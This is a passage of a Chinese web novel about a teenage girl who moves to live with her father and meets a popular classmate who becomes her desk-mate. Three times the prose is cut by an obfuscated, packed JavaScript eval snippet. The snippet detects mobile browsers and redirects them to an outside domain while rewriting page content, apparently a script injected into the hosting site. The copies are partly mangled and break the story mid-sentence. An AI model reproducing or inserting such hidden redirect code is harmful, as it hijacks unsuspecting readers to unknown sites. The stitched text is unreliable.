梦里，她父亲在讲台上，眼镜后面的神情有些严厉，而她坐在教室里听他讲数学课。 “厉枝，你上来做一下这道题……” 在被点名的时候，厉枝惊醒了，此时，飞机正在降落。 看着窗外白云之下的海城，看着那高楼林立，厉枝的心跳越发快。 这里，就是她高中三年学习生活的地方了。 —— 刚找到出站口出来，几乎是同时，厉枝收到了母亲发来的消息。 【到了吧，找到你爸了吗？】 厉枝回了个“刚到，在找。” 四下张望，厉枝有些心虚，她不知道自己仅凭照片能不能认出真人，毕竟多年未见，同样的，她也怕父亲会认不出她。 明明是最亲近的血脉至亲，但这么些年却也鲜少有联系。 初中毕业前，厉枝一直都没有自己的手机，要联系都是通过母亲，于是联系的机会自然少之又少。 握着新手机，厉枝看了眼照片，又在约定好的地方四下张望了下。 还是没有找到。 打个电话吧。 “阿野，下次我们三个还出去玩吧，要不是开学，我还真想在香城住着不回来了。” 一个欢快清亮的女声，伴随着厉枝耳边手机里电话拨打的嘟嘟声，在附近响起，于嘈杂中传进了厉枝耳中。 “下次可不敢带你，一个人就两个大行李箱，不知道的还以为搬家呢。”另一道男声响起，话是埋怨的，但语气却并非完全如此。 “我那叫精致！叫有生活格调！”女生反驳。 厉枝稍稍一扭头，看见了三个中学生模样的人，正提着大大小小的行李箱从远处走近，人头攒动，她也只是瞥了眼，看不清那几人的模样，便收回视线，心里却是暗暗羡慕。 同龄人都已经是结伴出游、来去自由，而她……却是孤身一人，来到陌生城市。 手机里还在嘟嘟响着，电话没接通，厉枝等着那道“对不起，您拨打的电话暂时无人接听…”的机械音响起。 “行了行了，”听着那两个人快要又拌嘴，另一道声音响起，“我打好车了，赶紧回吧。” 在这道漫不经心却又清冽好听、带着几分少年气的声音出来时，厉枝这边电话刚好接通。 注意力只得顿时转到父亲沉稳中带着匆忙的声音。 “枝枝，抱歉啊，堵车了所以晚到了几分钟，我在……等等，我看到你了，转身。” 闻言，厉枝转身。 映入眼帘的，是和照片没有很大出入的男人的模样，穿着简单的灰色衬衫，深色棉麻长裤，头发微微有些地中海，却看得出是精心打理过的，那和她几乎一个模子里刻出来的高挺鼻梁，上面还架着一副无框的眼镜。 这是她的父亲，厉诚。 她的父亲一眼就认出了她，仅仅是靠一个背影。 这一瞬间，厉枝眼眶有些酸涩，多年未见的生疏感在这一瞬间消失殆尽，尤其是到看到父亲手里提着的一袋糖和一瓶酸奶。 那都是她以前最爱吃的。 提着行李箱，厉枝朝着父亲跑去。 “爸爸！”厉枝喊道。 厉诚笑着，脸上有些许皱纹冒出，他赶紧把手里准备好的东西递到厉枝手上，又赶紧接过她的行李箱，连她背上背着的书包也都接了过来，空出手后，还不忘揉了揉厉枝的头发。 “走，爸爸带你回家。” - 机场人来人往，那三个同伴出行的少年，此时已经走到了厉枝刚刚站着的位置，但他们的声音早已淹没在嘈杂中，厉枝没再注意到。 “怎么了阿野？”见陆之野停下了脚步，女生问道。 “刚刚好像看到个高中部的老师。”还有个蘑菇头的女生。 后面的话，他没说出来。 一个很可爱的、像小白兔一样的女生，让人看了会忍不住想要rua她的头发。 “高中部的老师？那你怎么会认识？”女生不解，继续追问。 “你忘了？阿野家就在学校附近，走个十分钟就到了，那一片挺多老师住的，估计是邻居吧。”另一个男生答道。 “嗯，附近邻居。” 陆之野应了声，收回视线，重新往前迈步，嘴角却噙着一丝不明显的笑意。 —— —— 车上，厉枝坐在副驾驶上，有些不知道怎么开启话题，手紧紧攥着那包糖和酸奶，盯着前面的路。 “有什么想吃的？我查了有几家好吃的湘菜馆，你要不挑挑？在收藏夹里。” 说着，厉诚把手机递到了厉枝面前。 “啊？不用那么麻烦的爸爸，回家吃就好，我不挑食的。”厉枝摆了摆手。 闻言，只见厉诚这么一个四十多的大男人不好意思地抬手蹭了下鼻子，正好红绿灯的间隙，他转头看着自己多年未见的女儿。 “其实，爸爸不太会做菜。”厉诚面露几分难色。 “……那也没关系，我们在外面吃也行，那爸爸你之前一般是怎么吃饭呢？” 想到爸爸一直一个人生活，厉枝有几分心疼，又有几分羡慕。 有时候，一个人虽然孤单，但也自由，不是吗。 她到这边来，会不会给爸爸添麻烦呢。 “我一般吃食堂，一中食堂有四层，教师食堂在四楼，早中晚都有，”说完，厉诚顿了下，“食堂还是不错的，不过枝枝要是想吃爸爸做的饭，爸爸也可以学，就是做得不太好吃。” “食堂挺好的，其实我也不会做饭。” 话题到这，却又尬住。 一个想要问出却又不敢问出的问题，此时在脑海中环绕，厉枝觉得自己心跳肯定是加速了的，很是紧张。 “爸爸……我过来这里上学，你……会觉得我是个麻烦吗？” 终归，厉枝还是问出了这个问题，放在靠车门侧的手攥得紧紧的，捏着那袋糖，上面几乎沾染了她手心的汗水。 虽然重逢时的种种已经让厉枝的心定了下来，但她还是会担心，所以需要一个确切的答复，才能完全放下心来。 本以为问出口后就会全身一轻，但事实是，对面即将收到的回答，更是紧张。 “枝枝，你是爸爸的女儿，”男人抬手，揉了揉厉枝的头发，“爸爸永远不会觉得你是麻烦，爸爸知道你向来懂事，有什么问题可以主动跟爸爸沟通。” 听到父亲这么一段话，厉枝顿时眼眶红了。 有很多话想说，但厉枝终归是咽了下去，她不想刚来这，就挑起父母之间教育理念上的摩擦。 母亲的圈养式与父亲的放养式，这在他们离婚前，矛盾就已经显露。 “我知道了，爸爸。” —— —— 当天晚上，厉枝刚在房间里收拾好，就已经快十点了。 电话准时响起，厉枝默默叹了口气，接起电话。 “妈妈……” “要开学了，你收收心，你爸那边我也打过招呼了，他会给你安排好。” “好的。” 厉枝已经很累了，一天的奔波，又收拾了行李，此时只想赶紧应下就完事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829900|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对了，你以后就写个日记本吧，每周给我看一次，我也没时间天天管你，”听到这，厉枝眼睛都亮了几分，“不过，还是会不定期抽查。” 虽然不知道为什么母亲突然让步了，虽然让得不多，但这总归是个好消息。 “好，妈妈你放心吧，我会好好努力，考上好大学的。” 电话那头沉默了下，其他未说出口的嘱咐都收了回去，只闻一声疲惫的叹息。 “早点休息，我最近忙，先挂了。” —— —— 开学日。 厉枝换上了一中的校服，对着镜子稳稳扣好了校牌，又抓了抓剪短的头发。 视线落在头发上，停留了一会儿。 她还是没能留住她的头发，还是在妈妈的坚持下，不得不去理发店剪短。 背上书包，厉枝出门下楼，去学校。 这个小区叫丰源小区，是个老小区，没有电梯的那种，她家在三楼。 刚急匆匆下楼，厉枝就看到一个同样穿着一中白蓝校服的男生，但只来得及看到一道背影，只见那人单手骑着自行车，一双大长腿漫不经心地踩着，一下就消失不见。 看来小区里有同学呢，厉枝如是想。 去学校的路不远，且几乎是一条直线，厉枝走了十分钟就到了。 教学楼下和每层的走廊上，此时都围了一堆人，楼下告示栏上贴着的是分班情况公示。 每个人对于自己所在班级早就知道了，现在也不过都是三三两两围在一起聊天，或是随意看看别人在什么班。 有的人在庆幸还在一个班，有的人则在说着以后常串门之类的话。 厉枝知道自己在哪个班，便直接绕过楼下的人，往三楼走去。 一中这一届的高一，共有三十多个班，其中，15、16班是尖子班，是成绩最好的一批，其次是11-14四个班为重点班，是仅次于15、16的，剩下的，便是普通班。 她在15班。 铃声响起，四处的人都飞快回了教室。 楼梯上，厉枝暗暗加快脚步，却在二层半的地方，一抬头，看见了一个男生的身影，逆着光，与她相向而行。 她上，他下。 男生很高，少说有一米八的个子，额前黑色的碎发浅浅盖住剑眉，那鼻梁高挺，鼻尖还有一点小小的棕色的痣，下颌角锋利，嘴唇有些薄。 看起来好像是脾气不太好的样子。 可是被那双含笑的桃花眼看着，便又让人觉得这是个很会和人打成一片的男生。 厉枝知道他，陆之野。 开学前她便翻看了海城一中的表白墙、万能墙，其中好多条，都是有关初中部一个叫陆之野的男生，当然，现在是高中部陆之野。 他是出了名的校草，同时也是一中的学霸，众星捧月，人缘极好。 明明看表白墙时还不觉得有什么，只是有些佩服这个叫陆之野的男生，但此时，当见到陆之野本人，厉枝忽然觉得，已经不仅仅是单纯的佩服了。 好像有些什么在悄然变质，又好像有什么在悄然萌发。 虽然心中百转千回，甚至在与陆之野对上视线时心跳几乎漏了一拍，但她面上却是丝毫不显，只是默默收回视线，向下转移些许，盯着楼梯继续往上走。 陆之野则在继续往下走。 余光里，厉枝感觉到陆之野的视线是落在她身上的，但即便如此，她还是梗着头，不去看他。 此时，铃声还在响着。 即将错身而过时，他脚步顿住，停在了她的上一个台阶上，在她一只脚踏上那个台阶时，他开了口—— “新同学？” 男生的尾音微微上扬，尽管混杂在铃声中，但还是稳稳闯入了厉枝的耳中。 厉枝扭头，对上了他的视线，只见他眉眼带着清浅的笑。 像是客套，又像是惯常噙着的一丝笑意，厉枝看不透。 对视上的那一瞬间，铃声戛然而止，全世界好像安静了下来，只听男生薄唇轻启—— “你很可爱。” 明明是轻声说出的话，却好似比刚刚的铃声还更加震耳欲聋。 男生的视线不着痕迹地在她刻有名字的校牌上瞥了眼，随即不偏不倚落在她的脸上。 厉枝本是与他对视，但不过两秒便败下阵来。 她觉得自己的脸好像有些发烫。 “名字也这么可爱啊，荔枝，刚好是我喜欢吃的水果。” 在陆之野这样随性散漫、堪称社交悍匪的人面前，厉枝觉得自己好像显得过于内向了些。 可她真的不知道该说些什么，一句话也说不出来。 于是，只得落荒而逃。 转头看着女生离开的背影，男生笑意更大了些，随即迈着大长腿，一步两个台阶地下楼。 5. 第 5 章 等厉枝赶到15班门口时，班主任已经在里面了，简单的黑白衬衫加西裤，拉直过的长发一本正经披在耳后。 也难怪她刚刚在楼下看着的时候，15班门口的走廊上一个人影都没有。 “报告。”厉枝在门口喊道，声音糯糯的，有些怯。 她迟到了十多秒，又或许有二十秒？她不确定，也无法确定，因为刚刚在楼梯间的时间好似被无限拉长。 班主任刘英是语文老师，之前爸爸给她讲过，倒是有个印象。 教室里坐满了年纪相仿的同学，都是她没有见过的面孔，这些同学基本都是从初中部升上来的尖子生，互相之间则无疑更熟悉得多。 此时，教室里的老师和同学，都看向了门口。 厉枝放在裤边的手攥得很紧，头低着，看着面前的地板，不敢对上这么多人的视线。 好在，这时候老师开口：“进来吧，顺便给大家介绍一下，这是新来一中的同学，厉枝，做一下自我介绍吧。” 在老师的热情招呼下，厉枝赶紧迈步走到老师旁边，随即面向讲台下的几十个同学。 “大家好，我是厉枝，严厉的厉……”荔枝的枝。 她以前都是这么自我介绍的，但想到刚刚在楼梯间里，陆之野说荔枝时的情景，她忽然就不想说荔枝这个词了。 “树枝的枝。” “还请大家多多关照。” 在老师的带头下，教室里响起掌声，欢迎新同学。 “先随便找个空位坐下吧，回头再调整下座位，还少了张桌子来着。”刘英道。 最后面那句话声音放轻，像是喃喃自语，厉枝没有听清。 厉枝看了眼教室，只剩下唯一一张空着的桌子，在靠窗的最后一排，是一张单独的桌子。 这倒是正合她的心意，单人单桌，反倒是自在些，而且她也不近视，没有看不清黑板的烦恼。 往最后一排走去时，厉枝垂着眸，抑或是就盯着教室后面空地那孤零零的一张椅子，总之就是哪个同学都不敢看，就好像多看一眼就会怎么样似的。 就这么一路没和任何人有眼神交流，厉枝走到了座位，坐下时，松了口气。 “你们安静会儿，我出去看看。”班主任说完，就踏着高跟鞋出去了。 老师一走，班里就热闹了起来，与铃声响起前各个班门口的盛况别无二致。 不过，三三两两的聊天声中，有些人的话头却是落在了厉枝身上。 “这就是外地来的那个同学？听说中考成绩很牛？” “但再牛也得去重点班吧，我们尖子班的可都是统一考了升学考二次选拔的，听说啊，她爸是高中部老师，可能走关系的吧。” “姓厉的老师我倒是听过一个，现在在教高三吧，也不在咱们高一啊。” “这蘑菇头发型真是够土的，也不知道哪个小地方来的，一股书呆子气质。” 厉枝没和谁说话，只是一个人默默收拾书包。 那些不好的话她听到耳朵里，却也无力反驳，关于家庭，关于她这个人。 但关于成绩和实力，她心里却是有些不服。 她才不是走关系进来的，那套他们口中说的二次选拔的试卷，她也在开学前来学校考了，是达标的。 只是，她还是无力反驳，因为……她那套卷子的成绩，在两个尖子班里，也不过是中下游的水平。 海城一中学霸众多，升学率、名校率都比她以前的学校更高许多，她就算在以前的学校里是年级数一数二的，但现在，显然不是了。 爸爸说过的，初升高，会有落差是很正常的，只要尽快适应高中的学习环境和节奏，成绩也是能保持优秀的。 她会尽快适应的，也会更努力的，她要变得更优秀。 “啧，真是吵死了。” 忽然，厉枝前排那个一直趴着没见起身过的女生，此时懒懒坐直了身子，颇有些不满地看了圈周围，那些人顿时小了些声音。 “怎么刚刚好像听到有人在骂你啊航哥，一中关系户？” 女生左边坐着一个男生，寸头，眉眼锋利，一直戴着耳机，在一堆书的遮挡下光明正大玩手机。 厉枝刚刚坐下后就有注意到这与众不同的两位前桌，但见他们都在“忙”，自然是没有打招呼的。 而且老师说待会儿会换座位，那既然也就是“露水前后桌”，她更是觉得没必要主动去打招呼。 她向来不是个主动的人。 此时，也不知道是听见了，还是余光察觉到了动静，那个被叫做“航哥”的寸头男生不慌不忙扒拉下耳机，转头看着同桌。 “不知道啊，无所谓。”男生随意耸了下肩。 这下，厉枝忽然想起来了“航哥”是哪号人物。 徐佳航，一中副校长的儿子，出了名的学渣，二世祖，但一直都在最好的班呆着，铁打的关系户。 最出名的一件事，是曾经有学生撞见过徐副校长和一个年轻貌美的音乐老师，在音乐教室偷.情。 这件事在学生里一传十十传百，自然是传到了当事人儿子，也就是徐佳航的耳中。 后来，就好像没发生过那件事一样，一切照旧，音乐教室的传闻到底是不是真的，也成了一桩悬案，徐佳航也始终是那副二世祖学渣做派。 再后来，这事便淡了，无人再提起。 如果男生是徐佳航的话，那女生应该就是林曼了。 这俩人算是青梅竹马，从小都是一个学校一个班的。 等等，出了名的三人组，还有一个人是不可忽视的—— 陆之野。 他们三个的友谊，可是在表白墙里N次被羡慕的存在，还有很多人说类似“果然好看的人都是扎堆玩的吗”这样的话。 那，陆之野在哪呢？以他的成绩，肯定是在尖子班，难道，是在隔壁16班？ 可是徐佳航和林曼都在这，陆之野没道理在别的班吧。 忽然，厉枝的心提了起来。 难道…… 又是一阵哒哒的声音，一听，大家都息了声。 是班主任踏着高跟鞋回来了。 “就放最后吧，那不是单着一张桌子吗。” “好。” 紧跟着班主任进来的，是陆之野的身影。 他肩上扛着一张课桌，明明是结实的铁、木制课桌，想来应该不轻，但陆之野扛着课桌的模样却是看着轻轻松松。 他就这样单肩扛着，另一手扶着，白蓝短袖处因为这动作而绷着，隐约可见他那刚刚好的肱二头肌，没有健身房撸铁达人那般壮硕，却也有些肌肉线条，是符合少年年龄的帅气。 他就这么走近，在厉枝旁边停下了脚步。 这一刻，二人依旧是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829901|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一上一下对视，就像不久前楼梯间里那般。 厉枝的心又跳了起来，在看见陆之野的淡淡笑意时。 她刚想着要不要起身帮着陆之野把课桌放下来，但前面的徐佳航显然更快一步，两个一米八几的男生飞快就把课桌放好，厉枝本来已经半站起来，此时只得又坐下。 一同坐下的，还有拉过椅子的陆之野，此时，他就坐在她的旁边。 原来，靠后墙的那张空椅子，不是闲置的椅子。 他们，就这样成了同桌。 莫名的，厉枝不是很想换座位了。 但心里又有一道声音在说——赶紧换座位吧！ 有陆之野这样同桌的坐在旁边，压力会很大的，要是心里总是在意，说不定会影响学习。 “给，你的包。”陆之野前桌空投了一个书包过来，在桌角碰撞了下，随后不轻不重砸在陆之野的怀里。 “你就这么对待黄金的？”陆之野从包里随意拿了个本子出来，随即又把书包往抽屉里随手一塞。 “黄金？什么黄金？”徐佳航扭头看陆之野，一脸不解。 明明长相是凌厉的模样，此时带上几分迷茫的样子却有几分傻傻的可爱。 “傻啊你，他玩梗呢，书中自有黄金屋，你被逗了！”旁边林曼压低声音笑道。 闻言，徐佳航无语撇嘴，还顺便翻了个白眼，便扭回了头去，而林曼还在一旁无声嘲笑他。 “看着精明得很，怎么这么容易被耍。” 本来对于刚刚陆之野那个冷得不行的冷笑话无感，但不知道为什么，看到三人的互动这么有意思，厉枝没忍住笑了下，但没出声。 可嘴角这笑意还是被陆之野给捕捉到了。 只见他微微侧头看她，看着她始终紧绷的肩膀此时像是放松了几分，男生脸上刚刚那还未消散的几分笑意，此时又浓了些。 此时，老师已经在台上讲话了，在讲些高一开学惯有的话，有欢迎，有鼓励，有鞭策。 厉枝一边只耳朵听着，却也没完全听进去，只是脑袋里扫了遍，确认没有重点要点，都是些场面话，便另一只耳朵又出去了。 “新同桌你好啊，我是陆之野。”旁边，陆之野小声道。 一边说着，他一边还在刚刚拿出的那本子上写下了自己的名字，递到厉枝面前。 那三个字，写得笔走龙蛇，飘逸好看，字如其人。 厉枝刚想正正经经回一句——“你好，我是厉枝”，就当楼梯间的事情没有发生，现在才是正式认识。 但才刚张了张嘴，还没来得及发声，只听陆之野又开了口—— “你笑起来更可爱。” 厉枝觉得自己的脸顿时热了起来，之前残余的笑意也彻底僵在了脸上，笑也不是，不笑也不是。 陆之野他……当真是外向得很啊，这也太自来熟了吧。 “谢谢，你…也很帅气，”说完，厉枝觉得好像回夸得有点敷衍，又赶紧补充，“学习也很好，嗯……你很优秀。” 说完，厉枝都想找个洞钻进去。 啊啊啊啊！她刚刚到底说了些什么啊！ 内心波涛汹涌，但面上却是风平浪静，只是僵硬的嘴角略微显露了她的几分尴尬。 厉枝完全不敢去看陆之野，只得是逼着自己看着讲台上的班主任。 可旁边的视线，如芒在背…… 6. 第 6 章 讲台上，班主任开始讲军训的事情。 厉枝强迫自己将全部注意力集中在老师的话上，刚刚讲的很多都是老生常谈的套话，没什么重点，但军训这块，却是要听的。 她真的很不喜欢体育运动，所以军训……于她而言，自然也是抗拒的。 “我们之后会进行为期一周的军训，期间也会集体观看些有教育意义的影片进行学习，当然，也会给大家一些休息休闲的时间。” “希望大家能在军训过程中锻炼身体，也领会到一些什么，例如有强健体魄的重要性，例如坚持不懈的精神等等，我就不多啰嗦了，也希望咱们班级里的大家，能尽快熟悉、凝聚起来。” 厉枝在等着老师说换座位的事，可是说了那么多，也半句没提。 “对了，我们先选一个临时班长负责军训期间的班级事宜，等军训完，我们就选班干、换座位。” 听到“换座位”几个字，厉枝的眼神亮了下，但听到是“军训完”，又顿时在心里默默叹了口气。 “有没有人自告奋勇的？” 厉枝自然是低头的，这种时候，或是老师喊人答题的时候，都是要竭力避免和老师有眼神接触的，不然很容易成为幸运儿被老师选中。 可下一秒，就有一道清亮的声音在旁边响起—— “老师，我可以吗？” 自告奋勇的，是陆之野。 “还有自告奋勇的吗？没有的话那就陆之野同学了？” 教室沉默了两秒，看上去是没人要和陆之野竞选这个职务，于是，便由陆之野担任临时班长。 “班长待会儿统计下每个人的身高尺码，然后带几个人去领军训服，一个小时后所有人去操场集合，开学典礼。” 接到第一个任务后，陆之野唰唰就随手撕了两张空白草稿纸下来，在上面画了个表格。 明明没用尺子，明明画得那么漫不经心，却也看着挺规整的。 只见他把身高按区间写了一列，如150-155，155-160，另一张纸上则是鞋码。 “大家把自己的身高和鞋码选一下，写‘正’字，在座位上传着写就行。” 说着，他把鞋码的那张送去了前门门口第一排，分别从不同的地方开始传。 另一张身高的，则从厉枝这开始，在陆之野率先在180-185那写了一横之后。 接过陆之野递过来的那张纸，厉枝能感受到他的视线。 他在看着她写。 看了眼180-185那一横，厉枝在155-160那画了一横，握笔的手微微有些用力。 她好有点矮，相比陆之野来说。 不过……她还会长高的，这个暑假就长高了些，想来正是到了她蹿个儿的时候。 - 很快，就收集齐了所有人的身高鞋码信息。 “走吧，搬衣服去。”陆之野拍了拍他前面徐佳航的肩。 旁边林曼也自觉就站了起来，显然是要和陆之野一起去的意思，徐佳航这时也起身了。 教室靠窗的这角，最后两排，只剩下厉枝一个人还坐着。 抬眸看了眼那三人，那三人此时也正看着她，以陆之野为首，其他两人都是见陆之野站着不动才顺着他视线看着厉枝。 厉枝的视线落在陆之野身上，他似笑非笑，似乎在等着她起身。 可她从没说过要一起去啊…… 厉枝不是很理解，但…… “那…我也去帮忙吧。” 厉枝站了起来，有些无奈，有些不情不愿，她只想自己待着教室一隅，但最终，在陆之野的眼神下败下阵，厉枝起身。 - 军训服全部堆放在对面教学楼一楼的一个大的空教室里，此时也有别的班级在那忙活。 厉枝本以为陆之野还会多叫几个人，但结果是只有他们四个从教室后门出来。 这肯定是一趟搬不了的。 林曼和徐佳航还在讲着游戏的话题，二人走在前面，厉枝走在后面，陆之野本来是就在那二人后面一步走着的，此时却慢下了步子，和她并肩。 视线朝着前方，余光里却尽是陆之野的身影，厉枝的双手垂在身前，紧紧攥在一起。 要说点什么吗？ 还是一路沉默？ 厉枝在纠结。 可是说的话，说什么呢，有什么话题可以发起呢？ “听说……” “你……” 二人同时开口，却又同时停住，视线终于在空中交汇。 “你说。”陆之野淡笑了下。 厉枝赶紧收回视线，继续盯着自己面前的地面，看着陆之野时，总觉得要说不出话来。 “听说你很厉害，做同桌这几天，还请多多关照，我……会向你学习的。” 她说这话是真心的。 尽管机缘巧合与陆之野做了同桌，尽管他性格好、和陌生人都能随随便便都能搭话，尽管他夸过自己可爱…… 但厉枝从一开始就没觉得自己会和陆之野又再多的交集，估计，等军训完，等换座位后，本就算不上熟络的关系便会淡化。 可慕强也是真的，对陆之野的欣赏也是发自内心的。 她又何尝不希望，自己也能成为陆之野这般，事事优秀，又事事充满松弛感的模样呢。 话说出口，厉枝小心翼翼侧头看了眼陆之野，期待他的回应。 她刚刚的话是不是显得太客套了太官方了？厉枝不禁想。 可是，转眸看去，陆之野还是噙着刚刚一丝淡淡的笑意。 “好啊，不过……”他说道。 厉枝不知道他就是只打算说到这，还是因为此时几人刚好走到了领衣服鞋子的地方，前面林曼二人已经停下脚步等着，他们俩的话题便戛然而止。 “衣服一组，鞋子一组，两两清点吧。”陆之野发话，同时把刚刚统计的一张纸递给了徐佳航。 所谓两两，还是按着刚刚路上的分组，林曼和徐佳航继续往前面一些走去，厉枝则和陆之野留在衣服处开始清点。 “这都是按码数放好的，你负责数，我负责搬，我们班的就放那空地吧。” 陆之野简单几句就把工作给安排了，厉枝便从150-155开始着手数，衣服上都标了身高范围和对应的码数。 旁边，还有别的班级也有人在数着、搬着。 1,2,3,4,5…… “陆之野，你怎么也过来了？你也当班长了？”旁边，一个清悦好听的女声响起。 厉枝闻声看过去，只见那那女生皮肤白皙，一双眼睛亮晶晶的，笑起来温婉又让人觉得亲近，她还有一头过肩秀发，厉枝看得很是羡慕。 只是一眼，饶是作为女生，厉枝都有点挪不开视线。 这个女生，她也有所耳闻。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829902|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏佳宁，可以说是海城一中初中部校花，之前还和陆之野做过一个学年的前后桌，郎才女貌，之前也算是表白墙的一段佳话. 虽然只是单纯的前后桌，但也有不少人磕他们的CP，在分班情况出来后，见他俩不在一个班，网上还有些惋惜的声音。 “临时班长而已。” 陆之野半蹲在那堆衣服面前，他的对面就是在数着最小码衣服的厉枝，斜对面便是苏佳宁，她在另一个码数的衣服前数着。 “你要是想转正也不难吧，”苏佳宁笑了下，二人之间的交流显然没有尴尬与客套，显然是相熟，“对了，这位是？” 见话题转到自己身上，厉枝刚好数完的手顿了下，本只想做个鸵鸟减少存在感，但没想到苏佳宁也是性格这么热情的人。 抬眸看了眼陆之野，厉枝发现他也正看着她，二人正好对视上。 “她……” “我是他的临时同桌，我叫厉枝，你好。”厉枝抢答，语速很快，说完，转头朝苏佳宁礼貌笑了下。 她也不知道自己为什么突然这样主动开口，大概是怕听到陆之野说和她不熟之类的话，毕竟，熟和不熟的差距，好像真的挺大的。 加上“临时”二字，是厉枝私心有种要划清界限的意思，在他们二人面前，厉枝觉得自己有些多余。 这种多余的感觉，不论是在机场被送走时，还是刚来15班时，亦或是和陆之野成为同桌、与三人组一起行动时，还有现在…… 都有。 “数好了。”厉枝把东西递给陆之野。 其实也就那么七八件，但她数了好久。 “好。”陆之野接过，往旁边空地搬。 苏佳宁等他们这交接好，才对厉枝笑道：“你好你好，我叫苏佳宁，16班的。” 此般交换了名字，便算是互相认识了。 后面数衣服时，厉枝的速度明显快了许多，几乎是陆之野刚搬过去一趟，然后刚几步路走回来，厉枝就已经交给了他一沓。 一个数，一个搬，倒也效率极高，没过多久，就数完了。 “你回去摇人吧。” “啊？”厉枝没想到，还会有这事落在自己头上。 让她去喊人？ “正门进去，讲台上喊一句，说来四五个男生。”陆之野补充道。 “那你呢？”厉枝反问。 她不想去，她宁愿搬东西。 “我在这守着呗，乱了不就白干。” 陆之野拿着剩下的那张纸在面前摇，微弱的风力下，他的下颌角已经有汗水划过。 厉枝刚想说“我在这守着也行”，但下一秒，陆之野就紧接着说，“负责人还得去登记下，要不也你来？” 厉枝看了眼苏佳宁，她刚刚已经先一步数好，去找老师登记，那明显是班长去才对。 “那我去了。” 说完，厉枝转身要离开，但刚转过去，又转了回来，视线在无效扇风的陆之野脸上停了瞬，他身前白色的校服都有些汗水的痕迹了。 此时虽是九月，天气却也仍旧炎热。 “给。”厉枝从口袋掏出一包手帕纸，往陆之野的方向递去。 男生垂眸看了眼，抬手接过。 “谢了。” 他的“了”字都还没收音，女生就已经转身离开，教室门口看不到身影。 “小兔子跑得还挺快。” 7. 第 7 章 —— 15班教室门口，厉枝在墙边做了两秒钟心理准备，才从正门走了进去。 老师没在班上，教室里乱糟糟的。 众人看到她走上讲台，多多少少有些注意力被她吸引过去，班上稍稍安静了一点。 讲台上，厉枝看着下面百态，众人看不到的手在讲台后紧紧攥住。 如果她说话后，没有一个人给反应怎么办？ “需要四五个男生去帮忙搬一下我们班的衣服鞋子，”厉枝顿了下，清了下嗓子，刚刚的声音有些小，“陆之野让我过来喊下人。” 她终究还是带上了陆之野，这样一来，看在陆之野的份上，而且又是班上集体的事，肯定多多少少会有人去的吧。 在她说话后，教室里的声音也不过稍稍小了些，看着她的人更多了些，但没有人做第一个主动站起来的人。 厉枝的手紧紧攥着，心里却是有些不快。 算了，多搬几趟也总归是能搬完的，犯不着叫人，她倔强地想着。 没再管班上人的反应，厉枝转身就走。 待她走到门口时，一道有些刺耳的金属与地面摩擦的声音响起，是椅子滑动的声音。 “等等，我一起去。” 厉枝一回头，看见一个带着银边眼镜的男生从座位上站了起来，此时，班上的视线大多转移到了那个男生身上。 在他第一个站起来后，又有几个男生也跟着站起来，往门口走来。 那一刻，看着那个戴眼镜的男生带头朝她走来，厉枝看着这个她甚至还不了解名字的男生，眼神里充满了感激。 路上，厉枝和那个男生走在前面，她想问他的名字，又怕对方觉得冒犯。 “谢谢你来。”厉枝道。 “不用，本来也是班上的事，应该的。”眼镜男生回道。 男生皮肤偏白，温润中又看着是有些清冷，是一看就觉得是好学生的模样。 “刚刚……你们离开后，班上大多在议论你走关系才进的尖子班，所以……”眼镜男生又道。 闻言，厉枝自言自语说了句“原来是这样”，随即，朝男生道谢——“谢谢你告诉我。” 难怪她进教室的时候班上的氛围有些奇怪，大家看她的眼神也是如此，掩饰着的打量。 “你不生气吗？或是难过？”对于厉枝的这般反应，男生有些惊讶，他还以为知道大家这个态度后，怎么着反应也该强烈些。 “一中高一的时候会有月考吗？”厉枝问。 见厉枝没回答自己的问题，反而问了个看似不相干的问题，眼镜男生眼里的惊讶更多了几分，但随后他就明白了过来，惊讶化成了一抹了然的笑意。 “有的，”他顿了下，“加油。” “嗯，谢谢你呀，我会加油的。” 那边刚找老师登记完，等着人手过来的陆之野刚一往外看，看见的就是厉枝和几个男生走来，并且还和申玮肩并肩有说有笑的模样。 “真是只没良心的小兔子，特地关照的还比不上个陌生的……” 男生轻啧一声，随即径自抱起一堆衣服，同时对来到面前的几人示意这堆是班上的。 少年人总是有着花不完的精力和力气，没几下，大家都抱着摞起来比自己脑袋还高的东西就回了教室，堆满了整整一片讲台的地板那。 厉枝帮着在讲台上发衣服时，发现最后竟是少了一件155-160的。 刚好少了她自己的码。 是她刚刚数错了？ 在她数着的时候，陆之野和苏佳宁时不时搭两句话，大概是那个时候走神了，才数错了？ 犯错的心虚和给别人添麻烦的不好意思，此时顿时涌上了心头。 讲台之下，大家都在很是新奇地拆开军训服，初升高的军训，是他们经历的第一次军训，有新奇感是自然的。 